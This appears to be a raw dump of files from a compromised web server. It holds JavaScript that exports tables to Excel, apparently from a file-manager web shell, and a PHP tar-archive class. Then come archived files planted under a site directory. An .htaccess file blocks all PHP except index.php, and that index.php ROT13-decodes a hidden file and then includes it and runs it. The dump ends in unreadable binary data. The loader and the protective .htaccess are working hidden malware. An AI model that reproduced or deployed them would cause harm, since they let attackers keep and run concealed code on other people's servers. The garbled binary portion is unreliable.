    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>.htaccess000064400000000334150425251240006342 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>index.php.tar000064400000003000150425251240007142 0ustar00home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00index.php000064400000000160150425251240006361 0ustar00<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";PK���Z������	.htaccessnu�[���<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|php7|phP|PhP|php5|php8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>
<FilesMatch '^(index.php)$'>
Order allow,deny
Allow from all
</FilesMatch>PK���Z�_s�
index.php.tarnu�[���home/depancom/www/albums/elen/index.php000064400000000000150425250750014127 0ustar00PK���Z�GNpp	index.phpnu�[���<?php
$kk = file_get_contents("load.txt");
$kk = str_rot13($kk);
file_put_contents('load', $kk);
include "load";PK���ZN��C::
931753.tar.gznu�[�����	<�]�ɘ&�!�<�C�y�<��9�����B2E�	�y�,S��Ȑ�DI�\�u�����}��}���{=O\g��״��k�un'�-�����m���/�#,(��v"��'��'�+�/�/��/����	Bx�/��/?����;x���]!��K���E�x��b���&N^x�`�z:�8!�%�%�#��K�!=m���������jvU��w���Z�	��L_��S�5��]Q�d�~�QŰ���ch��Td��O��0��Fޏ�cN](a��i����)�C{�[[|{���M�E?Ǵ��2�3N�\ T<Rzia�hv�+癛
ٸ��l虿��ʺ��ng�{�S�Sb[��{7?�:��]“�U��
��6WF����ꤓS4o���ڱ���}��yFo��ΈpW��	;Nǩ�+4�4�A4yw-����[]i�}�~�W��rJz�sE�k�����v����L<nb����nߍ;�iB�]���=�G!u�^�__�~�5�Fک����A�q��/~9R1{�S�%_��*��ʤ��g���I]���a?7���Xo�@C�OTu�WK]�64�'�{,�v]nH!k �v��iV	�K�O2~0�|��hSI��^�������Erx���'�ź����כ�����4Ny�k�jf'1�?�8�k�bm�^�O�Ҷ���<uꚟ��	FA�{�"�-7��N�:[�N�����7u��o{�s�lO�e�s/|��D�/��,��.h�����Г�[Yk��G���K-b�����H�Nƛ��7��ǯ�V��)dpO)�}���t<§�\<��~���3�$�U�,~a���H9�HW>�ˡ���&=�,�h����&���9�L�Y6n�H��
.�ƹ�'�L���F2�GW�S�y�͍7噎o�������L]�E��<��1|��i�����o�5Φ=�_�'`����^�DS���:��G���.D�TaVԊcL2�icD-� 4KZ�A�-Hj�J��U�I?ҳd�`Xܵ�%�s��B)�.�o�F��N鹗�s(���`�Q�,{R9�����.w����
�1��O\�����R�Q�
�/�
�շh����(�+����
������&:Q�����D�G~�r�e�f�SG[�G�J�g��i�R��ۖ�_�YN�+zc��!���T���?��g;�lOɬoK�v��lK��
�n�d�Xe��Zѳ�ޔ)���ƶ��_�S��b�6���Q�n�8�)ly}�������A�u?_��z0�az��6N�3�?r�J�.>k���˜e�޷�mm�_ʤ_��֭2a�
6X�!��2�u6?6]����A���x��+Ge~�=(�<#;�S����C!er��Ѳ
���{�~��4z�h��r<��/�͝!A|ї����낪&'X��Up5���?��)�/?"
g�Og`č�寶^r�y.ӂ�IC��'1���R�3�򌵦0Π6{��SmAa�;6x�yk��4w(g��!|��6�I�D|꿴���6��R!�3�T�l�6���VE\=a}�7���#-�V6y��M[KWdg~�m��a~���&�<���S���+?6�x=
q{��<2�G�
��l,_�D���Gu�G��Jfv�9��_���&*X-�d~u��Z�k�u�$kF�yJ��+r���q����Ԉ1�j�輽�����٠�h�c��θ*O�;��O�wZ]$�rm�(R��a���k�ز��Y�_;a=��Y�|�,jWd7���w�}��n�$��~��+r�̋�>���;dJ32zc[���6���������U�|8�í��j@�}��vQ'�J.4���v	)_�T�dyp�C��Wy�1���?����-��dbdw3蹟�S`�������p�I9�ێ��;�l$b�'+�%p�/�H�9��T)U�t}��2�>���H�I���O������%E
Pӛ8�	1\3���<��+dOi}o�;�q=]|"�b����O�gGs�8dl'��}k�M�>�]��|8��穙oN"��,3�%+��(��ъ����'zo�<�=.Kl��z�5�!�C�!K���3J_>�K�sH�_�k�t+�ιă�/u'���+��j�Ϥ	�4(�`n��z�I�e�f��m�D�O��$D�2ʂ����yٜ����h���z���{�򾁳�W�*O���9��/��ij�L��`)[�'���aJP���\˟����c�c�3��������2��q�Pp��)V�^�矗Dn;�&��:k
�)U��N,�eڡ�j:�xOCO�Ojj7Lv�<Ɗuv�;�DE�}�%��M��A��oCbu��/f��
�h��w�0��c�iH�R���k#	9B
���]��cDo�q�x��.R5���ڰ�0�t;ȸ��q"~E�����o��=�YV�#��h��;|C+8>��09���#|T—/�����U.V%��g�:����Z�?K�;\���y���w��M�n�`�R�Ns|ؘ���#���b�g��Nͩ����*<W���RD��a�	ׯ���%�-C��1�0_������.�/2��f$8'�NǏבօ�_|�{C�������y��#�Ѹ��P��Z�K�ľ�[Z�kZ�Nn��%��R��1��)ny���b�Ns)��Bݠ�D�b�.��'nݱ	���l��E��m_A�߶�u(�:��ӽ���$]��W_t����7<T��g�ؑ�ks��<�k�~~n����:!��IJ�cO�4�|_σ�N^���i���BkQrmv�T����o;sZ��ٴ#�S�u
M��53x�-I_���pJZ����A}��4}EGG�t=�Lp>'zqQ_�$u�vSw/k�7���p"���y���K���gc�=�$��.���|�3uNU��t�6I2Eڽ�X�������9fIQ��I�g]��
9���6^wc��|ּ����3��5���Ѻj�m�.am��(�󥝀�!��1��f��\�c�'T�D��os�dT��Qݡ�a�Ӈ�H�e��HjR�ﰠ����,�\������k��V�n���n�z_K�C��oN�)�V��[L�T��~��5�y�w\���C�g��j%q�!��I�y^�xRP���m�쟳K�Kk�5�1mV�D�.#�R�v����w�p�8z6���xB�zQ�#Ǖ�;�[��`N����x"K@�Z�'�3!	�G3��m����?!�-�K�O|����Q�)!NT!v��z!{^P��^@g�"U�)��}ѼT�eQN/u��`����:�
��'���˸�r��������N(VG�2�Bb�9L��Q��]��p���6���A�֯�'�L��<�_�-��:�\3|��V�����8J�	QxQ$����3��7�OdFVi+�\��m�+=�=~5!ҍ����n%�l��<w���'�3u��Wz4�"֟�Cy?�\>�,)��
Q���0���?�™����ƶ[���_;��k��p)�53�k�N����V����K�d3ꈧ�/�X�y����s���>��>�}G V��J�Y�e��U�pT�O(��/��i/�.��KD&'9���s��);&���~}��6N�xs�i��9��w$����Kt����M|#��Ԧ�6���GȻ��0'��� �_����v��	7P6��H���Lɇ	��嗔��rm��}��x�C8��V��ӂ�kBr�1�a��㗬��B
%���A!^'��sc���#�L�n��h$׿��ɂ��A~Rh�Q"5�SD�	�޲�"�m�H�w�m�����n�Kλ��Sx!�_p"H1�>��u����[/Orvd��v81UkZ&&�²���E*��?��H��Z�|�����=��YLi��$ė�y��w+�P��@�iB�����[�ؙ�8��VdJ���7�u��[?�O)��a/a&���r�NLX��A�˹�ܞ8~�c�V>U)n����v�f9�[dƚV�w���D!y!8p��y�^�V�*Z���c�oų��NS#�
PF�v鄎OD�8��{u�~:· p�b6��2��{w3^\�j{�������;1��>q��Δ,P�%Ԫ/���|���ft�Hu}�=G��c�r$㲋�ݹ'c�¿����4%���u������U��*��f����{������-oj�|~2�y���= 2���	9��o�*w��B�0e��F#��Is��^.Y�I�z���w��D�ܧ�)˷���}b$Qo%Zv�DN�r3���V�����"	��0IE�}�H�^�^ķfuD5܎U��Uv�A������[�^b�l��k
Z~W��}kVZ���{�@��P���:��Α"�[�)��E��
�.�S��P
GW�:������S��8Ę���t�1HT�8��x��8����yrg�9U#	$��/����X���G&�R���]N����I��'a�r5(]/p~�O�'�]���ڦ)O�e��8��s�|�y�o�ސ�o����^�Ԋ��YI����9�Dc<w9+Cj�����-~��sW]gTL�Er�����Ro�]*���;_n��~��M&쒯����;��?�c�r/��b��Ǟ���t_t�o����RI��G�#���%�ǜ�xO�[�CQ�Q�(���Ÿ�y�.]U]:;�'���Y���$k�j�~O��M�4�gʗn��8�3E�}S/�����˜��mbmM��SR���/}(h��p���欯?�U��F�W}?m���<b:��c��oF���Zf"�r)\2h��Ƃ����/��V�_�x�q�-I�_���>�&6�9�o�Ǖ�g,�O���Hq�N�����l�0���o�����U���Sl���׈g/�4/��'bdt�h��)nϣ4CV?�[L8ު���so�Q�1�j<PoD)��iRZ�C8�Ԅ�%d�pȭ�bI�����44\^ya0��F��5�`��v��S7�y�ȸ��O.�}Mx���dV����7	˔�6T/.�Gx#6/,��~�]X��!"��n�<~��t��x~�"�B��}�	�}!}��
�̗�I����l�2ZlU���Dz&���[ɾ�J��ur�$E��GA�7j3%8V��xe���g�B����7�j�?n��}.8jpY�͊��.y�UN%�e��y/Z�O�K!��&�h{Mń&'���*��S{M�G��-��:1excZ",�Q@�X@5�O��ɊP�'�����j�����%picU�^��p�5�Lo�8%4�mW[��Ō�]t�Z��m"&���ϫ��?�Le��|i��x�1Kk㥂b��K�y���K�K>(��i��z�B�Z��c��H����p��'�(�������n�Ə{j7��"�~�ڎ�4g/|92'�H�S�s[\HF��e=�>3�Sh�Igx���M�'�R�u��v�n�ѵ
J�.9;^���XnI|Iek�t�
�LG㯉2�͖�~XG��Đ�Z?>=t�����q�"��(ZU�i������+ܟr�"�t,�ޯ�шoI�v������ehәxZX�+xB��Zȫ����7~��v�ɠ�cu��Lr�{�|�E2r~
�}7��YV���6w�c�Q���#1R1mgm�=��D�+Ì׻��s4]g��S�h��^ �O�����rp�T}��e�舐�~E���`_��1(���c���ꈝ�:d�
�
R�F���}�v���"BD�@�-���Tv�^>s1��V٭��Ѵat�]�W����2h|/&�P}�zR<�<�M������9�B;H-��
���a��_�7<�bhy�y�[H�F����_��� m>�5�B�~�}*ә�"#�0���r�7qoG�?՞wV���v�9�"7dAO֯�4�S�ͅ���[�ꢌe�׬�d��w�|oW�8c>H.���{�:2K9J����:�^�w�b��SH��,�(Gы�5���y����T?~��Jǣ�3bO3[1������~���3&a^WU{)o<�z}zG��9m��t=�q���b�]7B�í��(]��?_t^�N-�Ӎn톏>#PC_ֹ0|oү��;�2=0&<�@��=��*#T�<����O6C)_�?�h:��o�_�7�tH�GC���5
�� �K�m���5-ǝ��8ӧ�����>���|~�BF�2�⏩��o��|�Q�ݜ�
�gq�n�t�o8?m�%''=]��y�6#�<'�Z.GJ�{;v9&��M.�HNB��_;+Ϝ�?���q�g��ݞ�"�c��~�=�q,��h�����w�蘓�޿#xK�e3�^㲧|Feʋ�<s��8M䏌%��p~�/_9:��;�nO�g�y�i���3�Ϝ�}]�z����;�N�����DmnL��{x�f~�\��[���+�+��y�ln�2V9
O��*�/&�|^�!Q31�--�����ᐏ7�*<%�$G�|$_]Z��?¢<a��+�;S�3�����M�Am��r��#v��'S��YH
n��|�H�P�Pb�Xr����:��/��*��=��c�B��^Ɉ�tM�1�����fW_��[��%���������D�Ϧ��v�����no��<�˻�:�u4r^���^C���V����ş��]U�f���*ˈ�f����?�I���L�$�M�q*��[Z��m�'	��������M��r��m���@ƀ�е��>$��܏���>�M��G�����0�I70|����Fw��!,�@��d��(�;�d=z:'�n�\���dk'��[kG>�����rYEo�p�$���).��T�Y]h�%4`)�]��հ��*v�jn�b��^�D���b�B;fD�ԇ��#�ǏG���@��M���B�B�Ŵ�Zة��M8���G�
��g�C��6W�g���4$��ا�vu��x��rj��7�Y�C4*��p��d&���tO2�����k(=��&؉�zf�*�G!�kr�ݩJ�`7�#9|�ﵝ��һ��	�i�"�PM�3�s��e>�H�i�O�qG6���I��4�O�W�e������(�B�u>��sXiF�<>�\�|���+�4�?ep�p�*��Sӱ��t��d��g	]nl&r�5���\�ow� �0�h
�{�V�8S�`�� {��ED�ﺎ3ף
�l���/���Nwg�'� ���F�HF=�R�w�r�N�se�N�H��H�Q�a��,�s�	�b�+sA�"v�MEk�m�ӼX,��V�A�:��%FG�Xx!x���{QW��g�vޫŰ�ͫX�I|y67D�ɵ�N�Z��,�vM��n�a�y����IA&�1��B��.�q��G�<��M�L�߭#�%9X����J_��*�$m�8�{X�
5�z����/_e�F�i���I⾊g�<��:;ߩ�5VT��ou�Ekl57����ϑn'}��/y+Zj��D�i����t��TR�(�N�'�T��u�*&$O�4t� +�e3/F8�}	{_tU�I�;6+��~�I�"u��5:�1#�ǴE�^��ec�_u�|�]3V�/[��>�d��H���]J��dL�3|k솦��0�h�R�d̙���)���qA�I��r_��1v�"����ay���v���H��ʟ��W)�Gߥ�ec"-%����9��?�}'�=��X�5�lЭחV�fZ�"{뫡bfr>Q'3�\r}��w2ݳ#M6��ŬvO������c��]3f��\ȕ
^2B���0��-K�+�Zn8��hc���$?u(
���\H_��W���RT����/� �����`��10�~
�nsa�Z�>��Y/J��a2M�QE5��Sϝ�q)�>�cC�˱۪1�f	�
��7�q��`(&�O#d�w���/��J���n���*3j�2V��o�:��>�*�̮��g���}���(�K���ֺ灥w&��8�-���v	�=3�O��L����{.�0lQY���̼�4��x�����}�V��9<	�N��Y�+Y��I�]�/�`[Uz�(���@��{��`~C�(���5~��P)�g~� -U�Q�4���ƾ��\6�3�%(�֗ǺU�R1
���j
^M1�K�f`HW��+]hXP�1����E=x�S�E'�"�MmCЊc�K4]B��X+�w��gϏ�q
��P�1Y�|F��eSwlms�@�-�WZ�����Q�0�_-I8z�.VU<᝵^?��퍷k���
�g
M�T0%GB��;�b�y�w�7��U�L\ �o�|�|O�Ȑ�P�ҿ"��dW��%�۞�x�.W�?��Ѽ��O�C��Sz�A�^^�d��W�p���,����v>fs@S8][b�>�7��P�B�2O�,����ٷO�߸-/~@�9�:�e�s,-��͂@��_x�;�z׍��I�۴)Y釿�M��[��}����d��9�^�n��ri��3'p$U���jD�ք�?0��Dd�u���|#7[��(5E���Q�uo�ʢ�>�.�eC��j>��z>:v����P�X��'uo���`�c�JO͝��!��R���e��q*>S�9v}�k��ض�S�iX�E�w
���^�,�~���%�{k&)�5�?���9�0=^�s�aZb��$tȄ���=��S�4�'�͏K���Otm��2dn��p����ፆ�����N"y�ʅr.�5'�gܫ�w��-�����ɒn�r+v���>�����W��9G㄁���$!�co�G�
�q�0@�[5�B�臭؎9� �ْ=��0�n�3zA���?c��	!�s�5>Y����z*��.K�o�Hi%3w����)N����tK�X绍b�#�d�O������~���i�c�ˍU�;���d���Vs��|�ksT��H����\E�\����o!�&"˽g��P,���>�9۬!q��[���ϛN�	y����n�^V�[+?���o}}�4_q1kA�X��g\�����Kj�|_���/�L��C�c���!�Vjn�����HA�x?�[���\.8ps��c�r�#�ٌ3�V�py�d���P���,J���t��Ɣ�W:S�b-�ܡcG�6�ʩ�&T�:�i�ϼ�/��Mae�1뛣]�'��YwM~j��}–^�f)J���7q�L>6��&üD��1
�v/'�bq%E�9�xK7'��P��17��jFn�k�O�y9�.}��<�+�r�sq5�~$����o޶[.꩝{��r���Z�R'��vwʹ�p݁�P�3�ϭz�]�>^>&��$>ղW��׉]!�"1hN�l[#~.��
�ӯo�i4v����/�m-p*MB(l��C��?n(]|���1;xE��,���@�8�#�Y�:��;���J
